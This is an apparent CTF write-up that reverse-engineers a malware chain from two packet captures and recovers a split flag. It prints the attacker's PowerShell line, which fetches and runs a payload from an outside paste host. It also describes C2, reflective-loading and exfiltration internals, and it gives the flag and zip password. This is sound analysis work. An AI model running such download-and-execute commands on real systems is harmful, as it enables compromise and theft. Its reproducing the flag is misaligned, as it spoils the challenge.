crackmes Hard

What Did You Type

Overview

Challenge: What_did_you_type (Intermediate, 974 points) Author: Reisen_1943 / Ze:R0 Flag: CMO{Dumb357_P3r50n_1n_7h3_M1lky_W4y_!!!}

“We’re an automotive security startup. Last night, our garage was breached. We managed to capture some logs via our first-ever agent. Can you analyze them and find out what was taken?”

Two pcap files are provided:

  • monitor_hardware – 116 MB USB capture (USBPcap)
  • monitor_network – 75 KB Ethernet capture, 110 packets

The attack chain: USB keyboard input reconstructs PowerShell commands that download and run malware. The malware contacts a C2 server, decrypts an embedded shellcode payload, reflectively loads a DLL, which in turn decrypts and loads a second PE. That second PE encrypts local files with AES-256-CBC (keyed via srand/rand) and exfiltrates them. The flag is split across three of the four stolen files.

Phase 1: USB Keyboard Reconstruction

The hardware pcap contains USB HID keyboard input. Reconstructing keystrokes yields:

powershell
ls
cd Documents
ls
[IO.File]::WriteAllBytes("$pwd\sus.zip", [Convert]::FromBase64String((irm 'https://0x0.st/PbWE.txt')))
ls
unzip -P 1m_g0d_!! sus.zip -d out
mv out\* .
./module.exe
rm *
exit

The attacker downloaded a base64-encoded zip from 0x0.st, extracted it with password 1m_g0d_!!, and executed module.exe.

Phase 2: Network Capture

The network pcap shows HTTP traffic to a C2 on port 9999:

# Method Path Detail
1 GET / Returns 32 raw bytes
2-9 POST /upload 4 encrypted files uploaded

Key values from the pcap:

  • C2: 192.168.52.163:9999 (Werkzeug/Flask)
  • Host header: for-ultramar.com:9999
  • User-Agent: Inquisition
  • GET / response (hex): 66c9c5a2015ff2be075f3d430031f54d22f8ad7194363889a019350937946d74

Four encrypted files extracted:

File Size
enc_Cool_Story.docx 20548
enc_hello_darkness_my_old_friend.txt 180
enc_IDK_why_I_saved_this.xlsx 10052
enc_sexy_picture.jpg 33524

Phase 3: module.exe – C2 Gate and Resource Decryption

module.exe is a PE64 binary (74240 bytes). Static analysis in IDA reveals:

  1. Hostname gate: Computes SHA-256(ComputerName) and compares against the 32-byte value returned by GET /. Exits on mismatch.
  2. AES-256-CBC decryption of an embedded PE resource (id 0xFE, type 0xFF):
    • Key = the 32-byte C2 response (= SHA-256(ComputerName))
    • IV = 0f 0e 0d 0c 0b 0a 09 08 07 06 05 04 03 02 01 00
  3. The decrypted resource is payload_dll.bin (36576 bytes) – a shellcode blob.

For dynamic analysis, we ran a fake C2 server (fake_c2.py) returning the correct 32-byte value from the pcap, with for-ultramar.com pointed at localhost via the hosts file.

Phase 4: Shellcode Loader (sRDI)

payload_dll.bin is an sRDI (shellcode Reflective DLL Injection) stub. Disassembly reveals:

  • sub_C60: call $+5; pop rax; add rax, 8; ret – returns 0xC6D as the metadata base address.
  • sub_4F1: Main orchestrator – reads blob table, reflectively maps the DLL, resolves imports via PEB walking + hashing, calls the DLL entry point.
  • sub_7F4 / sub_842: PEB walk and API hash resolution (hash = hash * 0x83 + tolower(char)).

Blob Table at Offset 0xC6D

Header: u32 size=0x2AEB, u8 flag=0x02, then 4 u32s: [0x24, 0x436, 0xFFFFFFFF, 0xC0].

Blob Size Purpose
0 8466 DLL implant (dll_blob0.bin)
1 0 Empty
2 48 XOR-encrypted IAT offset table
3 2231 Import descriptors
4 30 XOR-encrypted DLL name strings
5 144 API hash table (36 entries)
6 23 XOR key for blobs 2/4

Blob[6] XOR key decrypts blob[4] to: kernel32\0ntdll\0shell32\0msvcrt\0.

Second Payload at Offset 0x375C

After the blob table, a second payload stream (22394 bytes). The DLL entry point (sub_436) receives a pointer to this stream along with the blob table.

Phase 5: The Breakthrough – Second Payload Stream Parsing

Re-analyzing the stream cursor functions (sub_9B0 init, sub_A4D read_u32, sub_AA7 read_blob) used by the DLL entry point revealed the correct structure:

Bytes 0-3:     u32 = 0        (flags)
Bytes 4-7:     u32 = 22035    (total size)
Bytes 8-11:    u32 = 22035    (blob1 size)
Bytes 12-22046: blob1 data     (22035 bytes -- XOR-encrypted PE)
Bytes 22047-22050: u32 = 343  (blob2 size)
Bytes 22051-22393: blob2 data  (343 bytes -- THE XOR KEY)

The critical discovery: blob2 (343 bytes) is the repeating XOR key for blob1. XOR decryption reveals a valid PE starting with \x0b\x00\x00\x00shellcode \x00\x00 followed by an MZ header at offset 19:

1
2
decrypted = bytes(blob1[i] ^ blob2[i % 343] for i in range(22035))
# decrypted[19:21] == b'MZ'  -- valid PE!

The resulting second_pe_decrypted.bin (22016 bytes, after stripping the 19-byte prefix) is a PE64 with 6 sections, entry point at 0x3390, image base 0x140000000.

Phase 6: Second PE – The File Encryptor

The decrypted second PE contains the file encryption logic. Key imports:

DLL Functions
KERNEL32 CreateFileA, ReadFile, GetFileSize, FindFirstFileA, FindNextFileA
WININET InternetOpenA, InternetConnectA, HttpOpenRequestA, HttpSendRequestA
UCRTBASE srand, rand, _time64, malloc

Strings found: "/upload", "POST", "Inquisition" (matching the pcap User-Agent).

Encryption Function (0x140002240)

Decompilation reveals the algorithm:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
_time64(0);                              // get current time
srand((int)time_val);                    // seed PRNG
for (i = 0; i < 4; i++)
    key[i] = rand() & 0xFF;             // 4-byte random key

sub_3070(key, 4, expanded_key);          // SHA-256(key) -> 32 bytes
sub_1E00(file_data, file_size, 0x10);    // PKCS7 pad to 16-byte boundary
sub_1480(ctx, expanded_key, rdata_iv);   // AES-256-CBC init
sub_1D50(ctx, padded_data, padded_size); // AES-256-CBC encrypt

// Output: key[0:4] + encrypted_data

Cipher breakdown:

  • sub_3070 = SHA-256 (confirmed by K[0] constant 0x428a2f98 in .rdata)
  • sub_1480 = AES key schedule + IV copy from .rdata
  • sub_1D50 = AES-CBC encrypt (16-byte block loop with XOR chaining)
  • sub_1E00 = PKCS7 padding

AES IV found at RVA 0x6078 (.data section): 0f 0e 0d 0c 0b 0a 09 08 07 06 05 04 03 02 01 00 – identical to module.exe’s IV.

Encrypted File Format

[4 bytes: raw key] [N bytes: AES-256-CBC ciphertext]

The first 4 bytes of each encrypted file ARE the per-file AES key material.

Phase 7: Decryption

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
import hashlib
from Crypto.Cipher import AES

IV = bytes(range(15, -1, -1))  # 0f 0e 0d 0c 0b 0a 09 08 07 06 05 04 03 02 01 00

for fname in encrypted_files:
    with open(fname, 'rb') as f:
        data = f.read()

    key_bytes = data[:4]           # first 4 bytes = key
    ciphertext = data[4:]          # rest = AES ciphertext

    aes_key = hashlib.sha256(key_bytes).digest()  # expand to 32 bytes
    cipher = AES.new(aes_key, AES.MODE_CBC, iv=IV)
    plaintext = cipher.decrypt(ciphertext)

    # Strip PKCS7 padding
    pad = plaintext[-1]
    plaintext = plaintext[:-pad]

Results:

Encrypted File Key (hex) Decrypted Content
enc_Cool_Story.docx c498a3df Valid DOCX – Vietnamese poetry (Tale of Kieu)
enc_hello_darkness_my_old_friend.txt cb9133de “Hello from Reisen_1943…”
enc_IDK_why_I_saved_this.xlsx ce8dfbdd Valid XLSX – Vietnamese poetry + partial flag
enc_sexy_picture.jpg d18ac3dc Valid JPEG – handwritten text

Phase 8: Extracting the Flag

The flag is split across three files:

1. XLSX (cell A21): CMO{Dumb357

Found in xl/sharedStrings.xml as the 19th shared string, referenced by cell A21 (rows 19-20 intentionally left blank as a gap).

2. JPG (handwritten image): _P3r50n_

The decoded JPEG contains handwritten text with the middle fragment.

3. DOCX (watermark in header2.xml): 1n_7h3_M1lky_W4y_!!!}

Hidden as a WordArt watermark in the default page header:

1
2
<v:textpath style="font-family:&quot;Calibri&quot;;font-size:1pt"
            string="1n_7h3_M1lky_W4y_!!!}"/>

The watermark uses 1pt font and 50% opacity silver fill – invisible in normal viewing but present in the XML.

Combined Flag

CMO{Dumb357_P3r50n_1n_7h3_M1lky_W4y_!!!}

A leetspeak rendition of the author’s tagline: “Dumbest Person in the Milky Way!!!”

Summary of the Full Chain

USB keyboard pcap
  -> Reconstruct PowerShell commands
    -> Download & extract module.exe (zip password: 1m_g0d_!!)
      -> module.exe: SHA-256(ComputerName) gate + C2 GET /
        -> AES-256-CBC decrypt embedded resource -> payload_dll.bin
          -> sRDI loader: reflectively map DLL + pass second payload
            -> DLL entry: XOR-decrypt second payload (343-byte key)
              -> Second PE: srand/rand -> 4-byte key -> SHA-256 -> AES-256-CBC
                -> Decrypt 4 exfiltrated files (key = first 4 bytes of each)
                  -> Flag split across XLSX cell, JPG image, DOCX watermark

Tools Used

  • IDA Pro (with MCP integration) – static analysis of module.exe, payload_dll.bin, dll_blob0.bin, second_pe_decrypted.bin
  • Python + pycryptodome – AES decryption, blob parsing, XOR operations
  • x64dbg – dynamic analysis of module.exe in throwaway VM
  • Wireshark – pcap analysis and file extraction
  • Flask (fake_c2.py) – fake C2 server for dynamic analysis